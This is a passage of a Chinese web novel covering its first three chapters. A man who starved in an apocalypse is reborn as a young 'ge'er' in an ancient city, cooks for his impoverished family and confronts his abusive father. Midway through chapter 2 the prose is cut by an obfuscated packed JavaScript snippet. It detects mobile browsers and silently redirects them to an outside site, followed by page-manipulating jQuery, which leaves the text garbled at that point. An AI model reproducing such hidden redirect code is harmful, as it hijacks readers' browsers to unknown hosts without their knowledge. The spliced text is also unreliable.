《寡夫郎家的小酒楼》 1. 第一章 第一章 末世第三年七月，明明是盛暑现在入眼却是一片冰川严寒。 汤显灵窝在地下室，角落里自制煤油小锅，里头的火苗忽然亮了下，明明燃烧殆尽却最后挣扎燃那么一下。 小锅上煮着不知道什么，仅剩一个锅底的量，香味扑鼻。 汤显灵端着小锅喝汤，这里面是放过期的方便面，碎成渣，还有发霉的地方，他也没舍得丢，洗了洗煮进去，屋外那棵变异大树的叶子充当蔬菜，这碳水、维生素都有了，还缺点肉。 可他实在是没能力找到肉。 “……不知道是不是饿晕头了，还真香。”汤显灵喝了一口，胃到四肢都舒展开来，方便面有小麦面粉的独有香气，尽管已经过期了，可在汤显灵手下一做，滋味如新，绿叶子也柔嫩带着点嚼头，去了苦涩，被自己手艺折服，再次感叹：“没料的方便面还能煮的这么香，我还真是饭灵根觉醒，做饭小天才就是我了。” 可有什么用。 什么食材搁他手上，做什么什么香，这异能要是放在安稳世道，他开个小饭馆，多好啊，今个卖煎饼果子明个卖大肉包，后天想吃米饭了，白花花的大米，晶莹剔透，带着米香，炒个饭，要是有大虾，虾头先煸出虾油，虾头捞出来不要，隔夜剩饭倒进去，玉米粒、炒的黄澄澄软软的鸡蛋、还有腌好的咸鸭蛋只取蛋黄，蛋黄沙沙的不那么咸，放进去一起炒，大火炒，炒出锅气，香味一下子出来了…… 汤显灵想着想着笑出了声，怎么好好的开饭馆做买卖，到了后头光想着自己吃了。 哪里有小老板这么馋的。 哈哈，大馋小子就是我。 煤油灯灭了。 黑漆漆的地下室冷飕飕的没丝毫生气，角落里年轻的男孩躺在一处一动不动，他皮肤惨白，瘦骨嶙峋，眉宇间却是清清秀秀的漂亮，闭着眼，唇角微微上扬，想必死前梦到了什么好的。 荣朝，文定二十八年，春。 奉元城，八兴坊间槐花街汤家小院。 汤巧一大早跟着丈夫赶着牛车到了娘家，如今爹病重在床已有小半年，眼瞅着越来越不好了，家中只有阿娘和五哥儿二人苦苦支撑，昨个夜里五哥儿还烧了。 “怎么就烧了起来？请了郎中看过没？”汤巧问阿娘。 蒋芸一脸愁云，还未说话先叹了口气，“还不是胡家又找上来了——” “又讨钱来了？”汤巧一听急了，“这又不是五哥儿害死了她家儿子，怎么就缠着不放了。” 蒋芸说不出个一二三，一味的唉声叹气，说汤家苦，胡家也不容易，汤巧听得更为怒火，却对着阿娘泛红的双眼也发不出邪火。 她阿娘就是个柔肠子人。 可胡家不容易，关他们汤家、五哥儿什么事！ 自然，汤家落到如今地步，汤巧凭良心说：要怪要怨，也有她爹的缘故，但断没有怪在五哥儿头上的道理。 “我先去瞧瞧五哥儿。”汤巧压着火往侧屋去。 蒋芸忙说：“我早上去看过了，五哥儿退了热好了些，家里没几个钱了，先不去找郎中，你爹那儿还有些药……” “我爹的药那是什么药，五哥儿发热该吃什么药，两处方子能一样吗？”汤巧话重了几分，一看阿娘呐呐自责不言语，顿时心里也怪自己说话重了。 她阿娘的性子，她又不是不知道，怪阿娘作甚。 娘家如今这个情况，怕是屋里没多少钱了。 汤巧：“娘，总得给五哥儿看病，钱我出——” “哪能你出，从去年到如今，家里你添补了些，你嫁出去过日子，老往娘家拿银钱，还怎么在林家过日子，都怨我怪我，咱们汤家日子怎么过成了这样，眼瞅着都是好日子的，几个月天翻地覆的变了变。”蒋芸起初还替大娘着想，说着说着又愁苦起来。 汤巧是汤家的长女，未嫁人在家时，爹娘唤她大娘。 母女二人说话间到了侧屋，床上五哥儿已经换了芯子，其实从昨晚汤显灵就来了，烧的迷迷糊糊，一脑子乱七八糟的记忆，自责委屈绝望将他淹没。 汤显灵做了一晚上‘汤五哥儿’的梦，汤五哥儿心存死志。 汤家五哥儿，排行第五，是个哥儿，因此唤五哥儿，大名也叫汤显灵，只是汤家人、坊间邻居都唤五哥儿。 “阿娘大姐。”汤显灵醒了，顺其自然就唤了人。 汤巧见弟弟醒来，松了口气，没大碍就好，现如今娘家没家底，若是重病那真的没法过日子了。 再看弟弟双眼红肿，鬓角发丝还有泪痕，想必是大哭过。 “醒了就好，五哥儿，胡家的事——”汤巧斟酌话语，不知怎么个说，这胡家真跟蚂蟥似得，逮着吸血不撒嘴了。 汤显灵现在满脑子都是‘干饭’，撑着从床上坐起来，“姐，不提那些子恶心人了，家里有吃的没？我有些饿了。” 汤巧一愣，而后笑了起来。 弟弟这面团子捏的，今个嘴皮子倒厉害了些。 蒋芸说：“灶屋里还有些饼。” “吃甚饼，他昨日烧过，吃些清淡的，我去看看有没有米，烧一些粥。”汤巧想着弟弟不烧了，省了请大夫的钱，那就得补一补吃好些。 汤显灵囫囵套着外衣，说：“我来，姐我跟你一同去。” “你病才好，多躺一会。” 汤显灵已经下床跟上了，一出昏暗的小侧屋，外头阳光照的他眯了眯眼，下意识抬手挡了下眼光，又笑了声，将手放下，由着太阳晒着他的脸，暖洋洋的，半点寒意也无。 多好啊。 春日里，汤家小院墙角种了些葱蒜、菘菜，此时天暖长得生机勃勃，靠着院墙一处，还有一棵柿子树，抽了嫩嫩的绿芽，待到秋日能吃柿子了。 汤显灵看的眼睛发直，由衷的夸赞了声：“好树！” 这样不吃人的树真的稀奇，好树。 夸夸。 汤巧被逗乐了，跟阿娘说：“五哥儿瞧着精神头好。” 蒋芸点点头，还是一肚子愁思，以后日子可咋办啊。 汤显灵摸了摸他家不吃人的柿子树，夸完了，顺便打水洗了手脸刷了牙，他做这一切尤其顺手，像是他就是汤五哥儿。 可他自知他不是，五哥儿已经没了。 “谢谢你，我替咱俩再活一通，这次痛痛快快的过日子。”汤显灵望着暖暖的日头轻声自言自语。 清风徐徐吹来，柿子树枝叶晃了晃。 灶屋里，汤家米缸只剩个底儿，米还都是陈米、碎米，也不甚干净，汤巧淘洗米，本是想叹气，一想到阿娘还在身边，她要是再长吁短叹了，这日子真成了苦水泡过的——本来就苦了，可不能再叹着下去。 “阿娘，你去屋里歇歇，一会粥好了，我端过去。” 蒋芸便点点头，“我看看你爹去。” 汤显灵正巧进来，见大姐淘洗米说怕是不够，便接话：“我看看还有什么——家里还有些杂粮，不然摊些小饼，还有些酱菜，不想吃酱菜，换点旁的，外头有菘菜长得好，我去拔一些。” “不用，菘菜什么时候吃都成，今个我带了一篮子椿芽。”汤巧一边干活一边给弟弟指，“那个篮子里，还有五个鸭蛋，你大姐夫带着孩子去卖粮了。” 大姐嫁给城外殷实农户林家，大姐夫排行第三，如今育有两子一女。 汤显灵有记忆，手先拿了装了椿芽的篮子，一看，不由露出笑意来，这椿芽就是香椿，按照春日确实是吃这个的时候。 青皮鸭蛋巴掌大，椭圆的。 “不值什么钱，椿芽长得好又嫩。”汤巧解释，她即便有心想帮衬娘家，这几个月下来也不敢做的太过了，不说婆母公爹，上头还有两位嫂嫂盯着，老往娘家捎带钱、肉、糖，她在林家也受大嫂二嫂说嘴。 今个出门带了些椿芽，故意高声说了出去，意思都是不要钱的物件，没贴补娘家，婆母还是心肠好，说：只些农家野菜送亲家失礼了，你再捡些个鸭蛋一并添上。 汤巧才捎带上了五颗大鸭蛋。 “大姐，椿芽可再好不过了，香喷喷的椿芽炒蛋。”汤显灵满脑子都是吃，说着就差咽口水了。 汤巧一看小弟这番模样，当即是笑了出声。 “怎么馋成这模样了。” “姐，我昨晚没咋吃。”汤显灵咽口水说，手里 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末世三年，他真的真的太想太想粮食了。 质朴、有些粗糙的粮食。 面粉里兑水，顺着一个方向慢慢搅合成浓稠的面糊。 汤巧切了椿芽，正在打鸭蛋，先是打了两个，给家里留些，一扭头就看到五哥儿眼巴巴瞅着她。汤巧：…… 五哥儿一脸‘姐，再来俩，不够吃’。 “姐，家里日子多俩鸭蛋也不能一下子富裕了，你放心，以后家里都有我。”汤显灵保证说。 五哥儿临死了，却还记挂着亲人。 汤巧没把五哥儿这话全当真，家里如今地步，要是爹身子好起来，重新拾掇起馎饦铺子，干个几年慢慢就好了，可是她爹糊涂，一日醒来次数不多，也不说熬羊汤的独门秘诀。 她爹防着家里人，说汤家羊汤传男不传女哥儿，全家都不知。 铺子关了快小半年了。 但日子再艰难，确实是像五哥儿说的，多两鸭蛋真富裕不起来，汤巧又拿了俩鸭蛋磕了，正说话，外间响起声来。 “定是你姐夫回来了。”汤巧放下手里的碗。 汤显灵便说：“姐，你去外头吧，我来收拾午饭。” 外头说了会话，没一会，汤巧拎了一条肉进来，“你姐夫买来的。”她脸上带着些笑。 汤显灵：肉！ 他死前最后一餐就差肉了。 “姐，姐夫可真好，待你好，因着你看重咱们家，对咱们家也好。”汤显灵一通小马屁，倒是真情实感。 汤巧嘴角笑的越发甜蜜，嘴上说：“我们俩都老夫老妻了，说什么呢。今个炒一些沾了肉味，五哥儿你来做，我去打些水，你姐夫一头的汗，叫二娘来帮忙。” 二娘今年才八岁。 “不用，我一人行。”汤显灵有肉吊着，那就跟吊着胡萝卜的驴一样，是动力十足，一个人能犁三亩地不带歇一口气的。 汤家小半个院子多了些热闹气。 小二娘进灶屋来帮忙，汤显灵哄着小姑娘说话，手上不停，没一会，灶屋里先是弥漫出一股浓浓的米香味，小二娘吸了一口说好香啊。 一张张煎饼烙好了，外皮略硬拿到手却暄软，散发着麦子的香气。 刺啦油响，鸭蛋液滑锅，打散，炒的是蓬松黄澄澄的软。 小二娘又吸了吸鼻子，“好香哦。” 原本不吃酱菜的汤显灵，现在是肉糜炒散配酱菜。 小二娘口水已经下来了。 怎么这么香。 “五哥儿你做什么了，怎么这般冲鼻的香。”汤巧隔着灶屋都闻到香味了。 汤显灵：“就米粥、煎饼，配着俩道菜，椿芽炒鸭蛋，肉糜炒酱菜，吃饭吧。” 干饭干饭！ 太香了。 汤显灵闻着扑鼻的香味，米粥一点都不像陈米煮出来的，鸭蛋没有蛋腥味，杂粮煎饼只有淳朴的小麦香气，他这末世鸡肋的‘饭灵根’异能，还在！ 老天真爱了。 2. 第二章 第二章 天气暖，吃饭的桌子搬到了院子里。 其实也是汤家现在没多大地方了。 汤家院子临着街道向阳，汤父在奉元城干了二十多年羊汤馎饦买卖，从推车摊子到一间门脸，再到买了隔壁铺子院子打通了，前面大两间门脸铺子，东西三间侧屋住人做饭，带着个四四方方很敞亮的大院子。 自打去年十月，汤父病倒后，铺子关了营生，家里日子慢慢难起来，汤父那会还没整日昏迷不醒的糊涂，做主将院子前后一分为二租赁出去，汤家一家人现在进出走门脸铺子那个门。 后面通小巷子那个门现在是租客用。 院子中间扎了一堵墙，就是以柿子树为界限。 租房时蒋芸说：这样住不开了，不如东西划了一半，本来咱家院子就是两院并起来的。 被汤父瞪眼骂了一通，意思怎么会住不开，休想打铺子的主意，东西侧屋还剩两间，大娘二娘三娘都嫁人了，要是四郎还在，日子也不会这个样子，都怪我当初心里糊涂，留了个五哥儿，害的汤家家底都快没了…… 西侧屋又是一分为二，五哥儿住在灶屋旁边，光线暗的厉害。 东侧屋大些，父母住。 汤巧刚和丈夫林虎搬桌凳时，林虎还说：“干脆就在铺子里吃算了，地方大，又空着，桌凳都有，还搬来搬去作甚？” “我爹一会要是醒了——”汤巧说了一半。 林虎麻溜搬桌凳，“也不是怕麻烦。” 铺子是老丈人的心头宝肉疙瘩，哪怕老丈人病倒了，汤家也没人敢打铺子的主意，住都不许住人，现在进出只开了一扇门。 “好香啊。”林虎本来还要说什么，被香味给迷了嘴，又吸了一口，“做什么了？这般的香。” 汤巧也被香味勾的肚中饿了，丢了丈夫在这儿摆弄擦桌凳，说：“我去端饭，你收拾妥当，阿娘吃饭了。”抬脚就往灶屋去。 小二娘端着煎饼盘子，放在桌上，小脸都是笑，林虎问女儿晌午吃什么，小二娘可高兴坏了，说：“爹，我五阿叔做的饭菜好香啊。” “椿芽炒鸭蛋，猪肉沫炒酱菜。”汤巧端着大碗菜出来，“还有些米粥，只是今个香味不一样。” 这菜色，家里也这般吃，没什么稀奇的，但奇怪的是今个香味尤其的香，林虎本来三分的饿，闻到了香味成了十分，肚子都叫了起来。 “吃饭罢。”林虎拍了拍手，还没坐下想起来岳母还未来，便说：“我去请岳母先坐。” 东侧屋传来蒋芸的声：“我不饿，你们先吃，我看着你们爹。” 不是汤巧说亲娘的不好，自打爹病倒了后，阿娘性子更让人难说了，是重不得轻不得，时常委屈自己，饭菜都做好了，东西够吃，都等着阿娘呢，什么叫他们先吃？ 阿娘不来，谁吃的舒坦？ 热乎乎的饭菜，自家人还要请来请去，饭菜都要放凉了。 “二娘你去喊外祖母。”林虎拍女儿脑袋，哄着妻子，意思孩子去请。 林二娘乖巧，去东侧屋喊外祖母吃饭。 蒋芸：“外祖母真不饿，你们快去吃吧，我没什么胃口。” 汤巧和林虎也来请，汤巧顺着阿娘，问可是饭菜不合胃口还是身子不爽利，林虎在旁赔笑，岳母不坐他们小辈哪里敢，岳丈睡着，一时半会没醒，咱们先去吃了云云。 末世饿死冻死的汤显灵：…… 吃饭不积极，他真的受不了了！！！ 这边汤巧一家三口还在劝，小二娘软声乖巧的求外祖母，说尽了好话，院中汤显灵两三下挟了菜到一个大碗中，菜上又盖了煎饼，端着碗到了门口。 “姐、姐夫，你们带着二娘去坐。”汤显灵将手里装菜的碗放在了蒋芸手里，“这是我盛出来的，娘你不饿先放着，饿了再吃。” “大姐姐夫来看咱们家，忙活了一早上，肯定饿了，我就先招待大姐姐夫孩子吃饭了，总不能饿着客人了。” 汤显灵一通斩钉截铁的话。 按照时下风俗：汤巧嫁到了林家，那就是林家的人了，上门带东西那就是客人。汤显灵用这说词堵蒋芸的嘴。 蒋芸端着一碗菜都懵住了，想说什么却反驳不出一个字——五哥儿都是顺着她的意思，她不饿，大家吃不必管她。 这般，她还能驳什么？ “走，吃饭！”汤显灵拉着大姐的胳膊腕坐下，招呼：“姐夫坐啊，二娘你自己吃，能自己吃吗？” 小二娘看看爹娘，不敢动筷。 汤显灵先卷了个煎饼，里面是一层香椿鸭蛋配一勺子猪肉沫酱菜，递给小姑娘。小二娘乖巧接过，实在是没忍住咬了一口，顿时眼睛亮了起来，大口吃起来。 “吃吧吃吧，自家人还讲什么规矩。”汤显灵笑眯眯起来。 吃饭香就是好孩子。 汤显灵要当超级无敌好孩子了，第二个饼卷起来就往自己嘴里送，一边说：“姐、姐夫，我就不招呼你们了。” “欸，好、好，吃吧。”汤巧反应过来，觉得五哥儿今个不一样了，又想晾着阿娘不来是不是不好？可她刚请了半天，阿娘推诿不来，说实话她也有些恼火。 什么你爹都没吃，我先吃不好。 可是爹一天到晚昏睡不醒还不知道什么时候醒来，醒来了也吃不了这些饼子油子大的，要不是知道阿娘不是赶他们一家子走，汤巧都想带着丈夫二娘回。 她们一家也不是硬赖着在娘家蹭口饭的。 可真过来坐下了，留着阿娘一人在，汤巧又觉得不妥，想说什么一看都吃起来，她也迷糊跟着吃了口菜，真香啊。 椿芽味冲，炒起来只剩下香，鸭蛋柔软蛋香味，没什么腥味，两者混合在一起，香的人一口连着一口吃。 酱菜本来寻常滋味还有点咸和干巴，可混着肉糜这么一炒，猪肉油香却不肥腻，缓和了酱菜的咸和干，有些油润，不管是配着粥还是饼子，入口口味丰富，肉糜还有些劲道，越吃越香。 单独吃一口煎饼。 明明是杂粮饼，她自己烙饼吃，都有些豆子土腥味，还硶牙，可今个的饼，外头没油，有些干，到手上软软的，很有韧劲，吃起来麦子香味浓郁。 尤其是这米粥，她记得淘洗的时候都是残米陈米，可现在煮出来的粥软糯粘稠，米香味浓郁，跟才下来的新米似得。 ……怎么会这么好吃啊。 汤巧吃了这个吃那个，很快刚才不安、心软、自责都抛之脑后了。桌上其他人更别提，林虎在外做客，本来还拘着，最后吃起来是撒开了膀子，狼吞虎咽起来。 而坐在其中的汤显灵，看似吃的慢条斯理，实则干饭速度丝毫不落林虎，他吃东西不显狼狈，吃相好，吃的香。 从醒来到现在，饭菜下肚，这一瞬间才切切实实感受到活着。 他活了。 桌上可谓是风卷残云，本来一贯的寒暄客套现在是什么话也没有，只有吃饭声，以及时不时发出感叹：好吃、这个香、再来一张饼、粥还有大姐尽管吃我给爹娘留够了。 碗盘吃的是干干净净。 汤巧、林虎理智回笼似得有些怪不好意思。 “吃的干干净净咱没浪费就好。”汤显灵吃饱了还有点撑，坐在那儿都想摸摸小肚子，他好久没这么敞开吃了，此时小脸上都是幸福笑意，“大姐姐夫吃好了没？” “好了好了。”、“诶呀在家也没这么不顾人的吃法，今个真是馋了眼，怎么就不管不顾了。”林虎说的。 汤显灵：“都是家常饭也不甚贵重，姐姐姐夫吃好了就好。” 吃过饭，汤巧和汤显灵收拾碗筷，林虎将桌凳搬回前面铺子里。灶屋里只剩姐俩，过了会，汤显灵说：“姐，我知道你心里觉得不好，刚吃饭咱们吃没请阿娘落座，其实我是故意的。” “故意给阿娘一个软钉子。” 汤巧手里的碗差点滑落在地，不可思议看五哥儿。 汤显灵放下碗，不紧不慢说：“咱家现在情况大姐你知道，以前爹好时，屋里铺子大事小事都是爹说的算，咱阿娘耳根子软拿不定什么大主意，可屋里铺子营生买卖，阿娘什么活都没落下，最是卖力辛苦了。” “是。”汤巧点点头，听五哥儿说起这个勾起以前在院子回忆，眼眶都红了，替她阿娘难受，她刚才不该对阿娘生了些不耐烦的。 谁知汤显灵接着说：“阿娘辛苦咱们都看在眼底，爹病倒了，阿娘脾气更奇怪了——其实不是奇怪，咱们阿娘听了、顺了爹几十年，现在要阿娘当家做主顶起来，阿娘她怕。” “怕做错了决定，怕爹以后好了怨她怪她，吃饭这等小事本是不用做什么决定的，只是营生没了，阿娘在家闲了许久，她觉得自己不干活，不自在没用处，我自然不会这么想。” 汤显灵说到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15318097|167339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿顿住了，看向大姐：“我昨晚发了烧，像是死去一样，不能这么活了，都是窝瓜面团性子唉声叹气窝窝囊囊的，吃个饭还怕前怕后。” “姐，日子得向前看，既然爹给我招了婿，姓胡的虽然死了，那也是我顶着汤家的门，以后照顾爹娘都是我来，你信我，日子会好的。” 汤巧看了一会五哥儿，原本红的眼眶落了泪，但这次是高兴一些，擦了擦泪说：“五哥儿，过去委屈心酸都过去了，姐知道你不容易，但你能顶起来就好……” 姐弟俩在灶屋哭了哭，主要是汤巧哭，汤显灵不知道怎么安慰，于是陪着大姐哭了一个。 别让大姐一人哭尴尬。 灶屋外，小二娘抱着空碗进来了，“阿娘，外祖母吃完了饭。” 汤巧一看空空干净的碗，噗嗤笑了起来，阿娘吃了就好，五哥儿说得对，吃个饭菜还要客气推诿请来请去，那才是生疏。 汤显灵拿了粥婉，“粥还有，姐你给阿娘送去，这儿我来收拾。”他刚只给蒋芸装了些菜和饼。 汤巧便端着碗去送粥，一摸粥碗还是温热的，可见五哥儿心细又孝顺，什么都想到了。 母女二人在一处不知说了什么，出来时汤巧松了口气。 天色不早，林虎汤巧带二娘要回，临走前林虎才说：“我刚卖粮攒这个整数卖，留了半石粮，就留在家里吃，也不是什么要钱的，都是自家地里粮。” 哪家粮铺收粮还攒整数收？没这么做买卖的。林虎这般说，只是不想岳家推诿说不要、破费了、哪能吃你的粮、我把钱给你等话，想着岳家收了没什么负担。 蒋芸刚张了口说不，汤显灵说：“谢谢大姐姐夫，你们早点回安全些，等家里休整好了，我再做一桌子菜，请大姐姐夫来尝尝。” “诶知道了，你和阿娘快回吧。”汤巧应答的利落，抱着闺女上牛车。 林虎一口答应，“那敢情好。”今个吃的可真香。 卖了粮，林虎身上装着银钱，也没再多寒暄客气，赶着牛车一家三口利落上了路。 赶在城门关前，一家人出了城，往村里去土路上，林虎哼着调说：“椿芽还有没？明个咱家也炒这个吧。” “地里长得哪哪都是，以前你都不爱吃，今个倒惦记上了。”汤巧跟丈夫逗笑说。 林虎嘿嘿一笑，说：“岳家到底是做吃食买卖营生的，炒的椿芽就是跟村里炒的不一般，不过不对啊，岳丈给五哥儿传了手艺了？” 他知道岳丈做吃食藏着手艺呢，他家媳妇儿就不会熬汤家独门羊汤。 “我爹如今身子起都起不来，哪里会教五哥儿这个，就是以前姓胡的上门来，我爹都没教五哥儿——” “那没教姓胡的？”林虎好奇，按理说姓胡的入赘也是汤家男郎了，岳丈这手艺不传女郎哥儿，男郎总能传了吧。 汤巧呸了声：“姓胡的仗着秀才身份，人家就不稀罕买卖营生，根本不学。”也就她爹将人当个宝，姓胡的说什么都信，害了五哥儿没得好姻缘，葬送了一辈子幸福。 提起来，汤巧越说越气，恨恨的不得了。 林虎一听，忙安慰说：“那人都死了，死了。” “他死了活该，可怜了五哥儿。”汤巧又叹，而后摸着自家闺女头发，“以后给二娘挑夫婿，读书人咱们可不要，挑个家里有田地勤快些的汉子好。” 林虎点点头，觉得对，岳丈一家做营生买卖，以前看着光鲜，在城里扎住了根，可岳丈一倒，屋里没田地嚼头果腹，城里吃水拉屎都要钱，光吃着老本，能撑几个月？ 还是庄稼汉好，庄稼汉饿不了肚子。 话说远了，汤巧对男人说：“你没卖全粮食，回去对账——”她怕公爹婆母说丈夫。 林虎乐呵呵一笑，“没事，爹娘心里有数，都是结亲的，如今岳家有难，咱们银钱不够使，地里的粮还是能贴补一些的，回头我去说，二娘你别说漏嘴了，你嘴巴严一些，下次进城爹再带你来。” 林二娘闻言眼睛亮晶晶，“去看五阿叔吗？我还想吃五阿叔做的饭。”想到晌午饭滋味，不由舔了舔嘴巴。 夫妻俩都乐了。 汤家小院，吃了午饭收拾妥，汤显灵就开始琢磨下午吃什么，只是他还没想好搭配，汤父先醒来了，话赶话，可能汤显灵肚子里也有气—— 替五哥儿打抱不平。 他把话说白了，说开了。 3. 第三章 第三章 送走了大姐一家，汤显灵也没能闲着，姐夫早上卖完粮回来还捎带了一条肉，约莫有两斤呢，大姐只让沾了个肉星子，其实汤显灵也没想全做了。 晌午鸭蛋炒了四个，肉就不可能全做。 汤家现如今这情况，尤其钱财大头都是汤父捏在手里，汤父昏睡不醒不撒手给银钱，屋里吃喝嚼头全都靠存货，汤显灵晌午做饭时，米缸最后一口米舀的干干净净，杂粮面粉倒是还有小半缸。 菜就是院子挨着院墙半点菘菜、葱蒜绿意。 母子二人饿不死，真是随意糊弄裹裹肚子罢了。 大姐家送肉又送了半袋粮，约有个五十斤，能吃一阵子了。汤显灵关门，见蒋芸看他，便说：“娘我去灶屋，天气热，大姐送的肉得收拾存起来。” 也不知道蒋芸看没看出他‘不一样’了。 肉晌午用了一块肥瘦相间的五花剁成了肉泥，此时剩下一斤多，肥的并不多，剔出来纯熬猪油没多少，不如切成片全熬了，用油脂封着肉片能保存久些，吃的时候干净勺子再挖就是。 汤显灵专心熬肉，蒋芸进出了灶屋，几次想跟五哥儿说些什么又抱着煎药锅子出去了，没一会院子弥漫出一股药汤苦味。 药还没好，东侧屋传来压抑的咳嗽还有骂人声。 汤父醒来了。 蒋芸双手在衣摆处擦了擦，望着侧屋门伫立不前，这是不敢进，汤显灵看出来了，说：“阿娘，你去倒药，我看看爹。” “欸好，好，你……你小心些。”蒋芸叮嘱。 汤显灵想到梦里五哥儿绝望死志，劲直走向了东屋。 这边屋子还算大比较敞亮，蒋芸又爱干净，将屋里打扫的干干净净也没甚异味，汤父躺在床上挣扎着喊人，话还没说清，嗓子眼扯着心肺似得一阵咳和喘，本来是‘苟延残喘’，一见汤显灵进来了，倒好了，有些‘中气十足’。 “滚。”汤父一条胳膊撑着身子，骂道：“没用的东西，你还敢进来。” 汤显灵挨了骂，神色都没变，卷着袖子拧着帕子给床上汤父擦手脸，“阿娘热粥，爹你一会喝了粥再吃药。” 汤父一张嘴要说话，凉巾帕盖在他脸上，他这个哥儿手劲大的给他脸上一通抹，汤父喘着粗气，要打五哥儿，胳膊力道一撤先跌倒在床上。 “孽子混账你是要害死我。” “爹，我给您擦脸呢。”汤显灵扶着汤父重新躺好，给汤父腰间垫了个枕头，低声说：“五哥儿还是孝顺的。” 刚他真的有点戾气了。 汤父一听五哥儿自卖自夸孝顺，气得喘着粗气，手指斗着指在五哥儿脸上，嘴巴哆嗦字往出蹦，虽是不连贯但也能明白这是骂五哥儿孽子、没用、没指望的东西。 “……汤家造了孽，让你败干净了，当初就该溺死你。” 汤显灵皱了下眉，眼底神色也冷了些，说：“汤家到了今个田地，到底是怪我还是怨您贪心，你是既要又要还想要，五哥儿全都顺着你听你安排，你遭了胡秀才的道，害的汤家这般下场，把锅全推在五哥儿头上，要是汤家因着胡秀才发达了，又成了你有先见之明了？” “五哥儿一生受你摆布，事事听你安排，这还不孝顺？昨日高烧不退，他死前都没想怪你怪阿娘，只怪他不争气——” 蒋芸在门外听到这些忙进来，端着粥先放一边，是呐呐先顺着汤父，又赶五哥儿先出去，少说两句话，别气着你爹了。 “五哥儿昨晚就死了。”汤显灵平静道。 蒋芸一愣，还没思索说些什么，床上汤父大骂死得好你怎么不早死你该早死，要是四郎还在就好了。 汤显灵转身出去了。 他想吃汤面了。 东屋汤父骂声，骂完五哥儿骂蒋芸，蒋芸唯唯诺诺轻声顺着汤父声，这些声音话语交织着慢慢离他越来越远，汤显灵摸进了灶屋开始揉面。 姐夫送的半袋粮是晒干的小麦面粉，因为要卖到粮铺，收拾的很干净，汤显灵开始和面，一边和面一边想汤家的事。 五哥儿受的委屈冤枉，他总得给讨回来。 以及汤父能不能去死啊。 汤家一共五个孩子，前三个都是姑娘，汤父白手起家做吃食营生赚了这么‘大’个家业，一直想要个男孩顶门头，蒋芸肚子就没歇过，第四胎终于生了个男孩，汤父有了儿子可谓高兴。 市井人家，当年汤父歇业一天，在羊汤馎饦店摆了几桌席面，请街坊邻里喝儿子满月酒，真是大花销。 可惜好景不长，四郎年幼还没得个正经名字就夭折了。 半年后蒋芸又有了，汤父对肚中这个孩子期待很深，待到瓜熟蒂落那日，接生婆说生了个男孩，汤父高兴坏了，这次忙起了正经名，说四郎就是没正经名字才被小鬼错逮了去。 汤家祖宗显灵一举得男，就叫汤显灵。 如珠如宝养着汤显灵一个月，又是办了场满月酒，汤父显摆儿子，谁知道街上卖馒头的人家盯着襁褓中婴孩看了看，惊奇说：“老汤，你家儿子眉毛尾巴藏了一颗红痣，莫不是你认错了，这是个哥儿吧。” 这时代男人女人哥儿，哥儿出生脸上就有红痣，越红越是显眼越好，五哥儿出生时接生婆没看到哥儿痣，错认成男郎。 一个月，小男郎眉尾的哥儿痣显出来了。 汤父在众目睽睽下丢了面子，真是大喜接着大悲，当日晚上就要将五哥儿溺死，在家摔摔打打骂这个骂那个。 大姐汤巧护着五哥儿，二姐三姐都哭，闹成了一团。 之后汤显灵这名字就没人叫了，成了没名字的五哥儿，平日里汤父对三个女儿还好，唯独看不惯看不顺眼五哥儿，五哥儿也从不近父亲跟前，但心里是想要得到父爱的。 五哥儿长到七八岁，蒋芸肚子一直没动静，一家子便外出烧香求男，夫妻俩求了一道签，签是好签上上签，汤父一喜追问庙祝他什么时候能有儿子。 庙祝说汤父此生没儿子运，倒是家里行五能改换门第有富贵相。 那年汤巧快嫁人了，为了五哥儿在家中日子能好过一些，就将庙祝解说的签文传了出去，意思她弟弟五哥儿是个有大造化的。 汤父不信又有些将信将疑。 日子就这么过去，汤家三姐妹隔几年成亲嫁出去，待五哥儿长到了十七岁，因这一道签文以及汤家家底还算殷实，就被人盯上了。 盯汤家的就是胡秀才。 汤显灵想到此，揉面手劲都大了，恨不得把面团当胡秀才给捶打死，发了一通火，将面团先放一旁醒面。 去外头院子拔了几颗嫩生生的菘菜还有葱段。 他爹的，胡秀才胡康都三十六了。 这放在古代，年纪都能做五哥儿的爹了。 胡秀才破落户学识也不行，考了大半辈子就一个秀才身份，越考家底越破败，胡康还有妻子，子嗣也有，不过妻子早几年病逝。 汤显灵磨了磨牙：这胡康就是歹命，克妻的！ 但胡康嘴皮子有，不知道找汤父说了些什么——汤显灵冷笑，就是画大饼呗，谁不会，汤父被胡康画的锦绣前程给迷了眼，认定了胡康是个‘潜力股’，要将胡康给五哥儿招上门做婿。 这胡康也是个贪心黑心的，说：秀才考科举做上门婿于名声有碍这是其一，其二汤家经营买卖是商贾，若是他做了汤家儿郎岂不是不能科举了？ 汤父也不是傻的，怕送银钱给胡康科举，到头来胡康高中，一门显赫跟他汤家有什么干系？ 二人一团商量，最后拟定了‘文书’做约定，胡康意思面上是嫁娶，实则是入赘，生了孩子定从汤家姓。 汤父便信了，吹吹打打一通给五哥儿办了婚事。 从头到尾就没人问过五哥儿愿不愿意嫁。 汤显灵说胡康是黑心的没冤枉对方，此人和汤父一样都是贪得无厌既要又要的，这人比汤父想的还长远，人家早想过要是中了举人，怎么甩了汤家一家。 休妻七条，无所出。 胡康亡妻生了孩子，有儿有女，人家不稀罕子嗣。到了汤家读书备考，碰都不碰五哥儿，以后拿无所出休五哥儿。 汤显灵回想了下胡康面容身形，瞧着像四十多岁干瘪被掏空的老头，冷声：“真是恶毒阳-痿男，呸！” 胡康考秀才考了二十多年才考上，本以为考上举人也要到四五十了，没想到跟五哥儿成了亲，去年八月秋闱试一试，这一试竟然真的中了。 奉元城是西都州的州城，相当于现代省会城市，西都州底下的四个府县秀才要是考举人乡试都要到奉元城考。 之后日子，坊里邻居皆来汤家贺喜，汤父面上荣光，做好了黄粱美梦，就等着关铺子当官老爷的爹，想清闲去。 大喜接大悲。 